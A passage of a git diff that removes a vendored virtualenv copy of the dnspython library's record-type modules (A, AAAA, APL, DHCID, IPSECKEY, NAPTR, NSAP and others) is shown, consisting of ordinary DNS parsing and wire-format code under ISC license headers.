from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("!IBB") - digest = parser.get_remaining() - return cls(rdclass, rdtype, header[0], header[1], header[2], digest) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/__init__.py b/venv/Lib/site-packages/dns/rdtypes/ANY/__init__.py deleted file mode 100644 index cc39f8642e87502525ddcd59673cafbb00879abd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/__init__.py +++ /dev/null @@ -1,71 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Class ANY (generic) rdata type classes.""" - -__all__ = [ - "AFSDB", - "AMTRELAY", - "AVC", - "CAA", - "CDNSKEY", - "CDS", - "CERT", - "CNAME", - "CSYNC", - "DLV", - "DNAME", - "DNSKEY", - "DS", - "DSYNC", - "EUI48", - "EUI64", - "GPOS", - "HINFO", - "HIP", - "ISDN", - "L32", - "L64", - "LOC", - "LP", - "MX", - "NID", - "NINFO", - "NS", - "NSEC", - "NSEC3", - "NSEC3PARAM", - "OPENPGPKEY", - "OPT", - "PTR", - "RESINFO", - "RP", - "RRSIG", - "RT", - "SMIMEA", - "SOA", - "SPF", - "SSHFP", - "TKEY", - "TLSA", - "TSIG", - "TXT", - "URI", - "WALLET", - "X25", - "ZONEMD", -] diff --git a/venv/Lib/site-packages/dns/rdtypes/CH/A.py b/venv/Lib/site-packages/dns/rdtypes/CH/A.py deleted file mode 100644 index e3e0752118bff2157c24b97453e658a79221071e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/CH/A.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.immutable -import dns.rdata -import dns.rdtypes.mxbase - - -@dns.immutable.immutable -class A(dns.rdata.Rdata): - """A record for Chaosnet""" - - # domain: the domain of the address - # address: the 16-bit address - - __slots__ = ["domain", "address"] - - def __init__(self, rdclass, rdtype, domain, address): - super().__init__(rdclass, rdtype) - self.domain = self._as_name(domain) - self.address = self._as_uint16(address) - - def to_text(self, origin=None, relativize=True, **kw): - domain = self.domain.choose_relativity(origin, relativize) - return f"{domain} {self.address:o}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - domain = tok.get_name(origin, relativize, relativize_to) - address = tok.get_uint16(base=8) - return cls(rdclass, rdtype, domain, address) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.domain.to_wire(file, compress, origin, canonicalize) - pref = struct.pack("!H", self.address) - file.write(pref) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - domain = parser.get_name(origin) - address = parser.get_uint16() - return cls(rdclass, rdtype, domain, address) diff --git a/venv/Lib/site-packages/dns/rdtypes/CH/__init__.py b/venv/Lib/site-packages/dns/rdtypes/CH/__init__.py deleted file mode 100644 index 0760c26c2c4c98be5615793d67e9480c982077bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/CH/__init__.py +++ /dev/null @@ -1,22 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Class CH rdata type classes.""" - -__all__ = [ - "A", -] diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/A.py b/venv/Lib/site-packages/dns/rdtypes/IN/A.py deleted file mode 100644 index e09d61108466e1b3212ab7e42fb8c7cf25757219..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/A.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.exception -import dns.immutable -import dns.ipv4 -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class A(dns.rdata.Rdata): - """A record.""" - - __slots__ = ["address"] - - def __init__(self, rdclass, rdtype, address): - super().__init__(rdclass, rdtype) - self.address = self._as_ipv4_address(address) - - def to_text(self, origin=None, relativize=True, **kw): - return self.address - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_identifier() - return cls(rdclass, rdtype, address) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(dns.ipv4.inet_aton(self.address)) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_remaining() - return cls(rdclass, rdtype, address) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/AAAA.py b/venv/Lib/site-packages/dns/rdtypes/IN/AAAA.py deleted file mode 100644 index 0cd139e7b5c4b68a8d66e070b231eda9b0e41ca7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/AAAA.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.exception -import dns.immutable -import dns.ipv6 -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class AAAA(dns.rdata.Rdata): - """AAAA record.""" - - __slots__ = ["address"] - - def __init__(self, rdclass, rdtype, address): - super().__init__(rdclass, rdtype) - self.address = self._as_ipv6_address(address) - - def to_text(self, origin=None, relativize=True, **kw): - return self.address - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_identifier() - return cls(rdclass, rdtype, address) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(dns.ipv6.inet_aton(self.address)) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_remaining() - return cls(rdclass, rdtype, address) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/APL.py b/venv/Lib/site-packages/dns/rdtypes/IN/APL.py deleted file mode 100644 index c4ce6e4588e0c02c6e074dbd20f5418af60daf66..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/APL.py +++ /dev/null @@ -1,150 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii -import codecs -import struct - -import dns.exception -import dns.immutable -import dns.ipv4 -import dns.ipv6 -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class APLItem: - """An APL list item.""" - - __slots__ = ["family", "negation", "address", "prefix"] - - def __init__(self, family, negation, address, prefix): - self.family = dns.rdata.Rdata._as_uint16(family) - self.negation = dns.rdata.Rdata._as_bool(negation) - if self.family == 1: - self.address = dns.rdata.Rdata._as_ipv4_address(address) - self.prefix = dns.rdata.Rdata._as_int(prefix, 0, 32) - elif self.family == 2: - self.address = dns.rdata.Rdata._as_ipv6_address(address) - self.prefix = dns.rdata.Rdata._as_int(prefix, 0, 128) - else: - self.address = dns.rdata.Rdata._as_bytes(address, max_length=127) - self.prefix = dns.rdata.Rdata._as_uint8(prefix) - - def __str__(self): - if self.negation: - return f"!{self.family}:{self.address}/{self.prefix}" - else: - return f"{self.family}:{self.address}/{self.prefix}" - - def to_wire(self, file): - if self.family == 1: - address = dns.ipv4.inet_aton(self.address) - elif self.family == 2: - address = dns.ipv6.inet_aton(self.address) - else: - address = binascii.unhexlify(self.address) - # - # Truncate least significant zero bytes. - # - last = 0 - for i in range(len(address) - 1, -1, -1): - if address[i] != 0: - last = i + 1 - break - address = address[0:last] - l = len(address) - assert l < 128 - if self.negation: - l |= 0x80 - header = struct.pack("!HBB", self.family, self.prefix, l) - file.write(header) - file.write(address) - - -@dns.immutable.immutable -class APL(dns.rdata.Rdata): - """APL record.""" - - # see: RFC 3123 - - __slots__ = ["items"] - - def __init__(self, rdclass, rdtype, items): - super().__init__(rdclass, rdtype) - for item in items: - if not isinstance(item, APLItem): - raise ValueError("item not an APLItem") - self.items = tuple(items) - - def to_text(self, origin=None, relativize=True, **kw): - return " ".join(map(str, self.items)) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - items = [] - for token in tok.get_remaining(): - item = token.unescape().value - if item[0] == "!": - negation = True - item = item[1:] - else: - negation = False - (family, rest) = item.split(":", 1) - family = int(family) - (address, prefix) = rest.split("/", 1) - prefix = int(prefix) - item = APLItem(family, negation, address, prefix) - items.append(item) - - return cls(rdclass, rdtype, items) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - for item in self.items: - item.to_wire(file) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - items = [] - while parser.remaining() > 0: - header = parser.get_struct("!HBB") - afdlen = header[2] - if afdlen > 127: - negation = True - afdlen -= 128 - else: - negation = False - address = parser.get_bytes(afdlen) - l = len(address) - if header[0] == 1: - if l < 4: - address += b"\x00" * (4 - l) - elif header[0] == 2: - if l < 16: - address += b"\x00" * (16 - l) - else: - # - # This isn't really right according to the RFC, but it - # seems better than throwing an exception - # - address = codecs.encode(address, "hex_codec") - item = APLItem(header[0], negation, address, header[1]) - items.append(item) - return cls(rdclass, rdtype, items) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/DHCID.py b/venv/Lib/site-packages/dns/rdtypes/IN/DHCID.py deleted file mode 100644 index 8de8cdf167200ffa3d89381c63998e35f197af7b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/DHCID.py +++ /dev/null @@ -1,54 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 - -import dns.exception -import dns.immutable -import dns.rdata - - -@dns.immutable.immutable -class DHCID(dns.rdata.Rdata): - """DHCID record""" - - # see: RFC 4701 - - __slots__ = ["data"] - - def __init__(self, rdclass, rdtype, data): - super().__init__(rdclass, rdtype) - self.data = self._as_bytes(data) - - def to_text(self, origin=None, relativize=True, **kw): - return dns.rdata._base64ify(self.data, **kw) # pyright: ignore - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - b64 = tok.concatenate_remaining_identifiers().encode() - data = base64.b64decode(b64) - return cls(rdclass, rdtype, data) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(self.data) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - data = parser.get_remaining() - return cls(rdclass, rdtype, data) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/HTTPS.py b/venv/Lib/site-packages/dns/rdtypes/IN/HTTPS.py deleted file mode 100644 index 15464cbda7f387d8b73d15605bfebc49d1402c27..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/HTTPS.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import dns.immutable -import dns.rdtypes.svcbbase - - -@dns.immutable.immutable -class HTTPS(dns.rdtypes.svcbbase.SVCBBase): - """HTTPS record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/IPSECKEY.py b/venv/Lib/site-packages/dns/rdtypes/IN/IPSECKEY.py deleted file mode 100644 index aef93ae140df8a17150b2aa996d023250f866662..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/IPSECKEY.py +++ /dev/null @@ -1,87 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.rdtypes.util - - -class Gateway(dns.rdtypes.util.Gateway): - name = "IPSECKEY gateway" - - -@dns.immutable.immutable -class IPSECKEY(dns.rdata.Rdata): - """IPSECKEY record""" - - # see: RFC 4025 - - __slots__ = ["precedence", "gateway_type", "algorithm", "gateway", "key"] - - def __init__( - self, rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key - ): - super().__init__(rdclass, rdtype) - gateway = Gateway(gateway_type, gateway) - self.precedence = self._as_uint8(precedence) - self.gateway_type = gateway.type - self.algorithm = self._as_uint8(algorithm) - self.gateway = gateway.gateway - self.key = self._as_bytes(key) - - def to_text(self, origin=None, relativize=True, **kw): - gateway = Gateway(self.gateway_type, self.gateway).to_text(origin, relativize) - key = dns.rdata._base64ify(self.key, **kw) # pyright: ignore - return f"{self.precedence} {self.gateway_type} {self.algorithm} {gateway} {key}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - precedence = tok.get_uint8() - gateway_type = tok.get_uint8() - algorithm = tok.get_uint8() - gateway = Gateway.from_text( - gateway_type, tok, origin, relativize, relativize_to - ) - b64 = tok.concatenate_remaining_identifiers().encode() - key = base64.b64decode(b64) - return cls( - rdclass, rdtype, precedence, gateway_type, algorithm, gateway.gateway, key - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!BBB", self.precedence, self.gateway_type, self.algorithm) - file.write(header) - Gateway(self.gateway_type, self.gateway).to_wire( - file, compress, origin, canonicalize - ) - file.write(self.key) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("!BBB") - gateway_type = header[1] - gateway = Gateway.from_wire_parser(gateway_type, parser, origin) - key = parser.get_remaining() - return cls( - rdclass, rdtype, header[0], gateway_type, header[2], gateway.gateway, key - ) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/KX.py b/venv/Lib/site-packages/dns/rdtypes/IN/KX.py deleted file mode 100644 index 6073df47b3c1c7921431da0af514b511713b89ad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/KX.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.mxbase - - -@dns.immutable.immutable -class KX(dns.rdtypes.mxbase.UncompressedDowncasingMX): - """KX record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/NAPTR.py b/venv/Lib/site-packages/dns/rdtypes/IN/NAPTR.py deleted file mode 100644 index 98bbf4abac2da37e8788b3d0c87bbef29eaec54a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/NAPTR.py +++ /dev/null @@ -1,109 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdtypes.util - - -def _write_string(file, s): - l = len(s) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(s) - - -@dns.immutable.immutable -class NAPTR(dns.rdata.Rdata): - """NAPTR record""" - - # see: RFC 3403 - - __slots__ = ["order", "preference", "flags", "service", "regexp", "replacement"] - - def __init__( - self, rdclass, rdtype, order, preference, flags, service, regexp, replacement - ): - super().__init__(rdclass, rdtype) - self.flags = self._as_bytes(flags, True, 255) - self.service = self._as_bytes(service, True, 255) - self.regexp = self._as_bytes(regexp, True, 255) - self.order = self._as_uint16(order) - self.preference = self._as_uint16(preference) - self.replacement = self._as_name(replacement) - - def to_text(self, origin=None, relativize=True, **kw): - replacement = self.replacement.choose_relativity(origin, relativize) - return ( - f"{self.order} {self.preference} " - f'"{dns.rdata._escapify(self.flags)}" ' - f'"{dns.rdata._escapify(self.service)}" ' - f'"{dns.rdata._escapify(self.regexp)}" ' - f"{replacement}" - ) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - order = tok.get_uint16() - preference = tok.get_uint16() - flags = tok.get_string() - service = tok.get_string() - regexp = tok.get_string() - replacement = tok.get_name(origin, relativize, relativize_to) - return cls( - rdclass, rdtype, order, preference, flags, service, regexp, replacement - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - two_ints = struct.pack("!HH", self.order, self.preference) - file.write(two_ints) - _write_string(file, self.flags) - _write_string(file, self.service) - _write_string(file, self.regexp) - self.replacement.to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (order, preference) = parser.get_struct("!HH") - strings = [] - for _ in range(3): - s = parser.get_counted_bytes() - strings.append(s) - replacement = parser.get_name(origin) - return cls( - rdclass, - rdtype, - order, - preference, - strings[0], - strings[1], - strings[2], - replacement, - ) - - def _processing_priority(self): - return (self.order, self.preference) - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.priority_processing_order(iterable) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/NSAP.py b/venv/Lib/site-packages/dns/rdtypes/IN/NSAP.py deleted file mode 100644 index d55edb7372afb143c72665775a3755a202969fc7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/NSAP.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class NSAP(dns.rdata.Rdata): - """NSAP record.""" - - # see: RFC 1706 - - __slots__ = ["address"] - - def __init__(self, rdclass, rdtype, address): - super().__init__(rdclass, rdtype) - self.address = self._as_bytes(address) - - def to_text(self, origin=None, relativize=True, **kw): - return f"0x{binascii.hexlify(self.address).decode()}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_string() - if address[0:2] != "0x": - raise dns.exception.SyntaxError("string does not start with 0x") - address = address[2:].replace(".", "") - if len(address) % 2 != 0: - raise dns.exception.SyntaxError("hexstring has odd length") - address = binascii.unhexlify(address.encode()) - return cls(rdclass, rdtype, address) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(self.address) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_remaining() - return cls(rdclass, rdtype, address) diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/NSAP_PTR.py b/venv/Lib/site-packages/dns/rdtypes/IN/NSAP_PTR.py deleted file mode 100644 index ce1c66320a8abd98badc9732215a492cbd0ee523..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/NSAP_PTR.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.nsbase - - -@dns.immutable.immutable -class NSAP_PTR(dns.rdtypes.nsbase.UncompressedNS): - """NSAP-PTR record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/IN/PX.py b/venv/Lib/site-packages/dns/rdtypes/IN/PX.py deleted file mode 100644 index 20143bf6cb388d00d2b082df1a86f9d360b465a5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/IN/PX.py +++ /dev/null @@ -1,73 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, 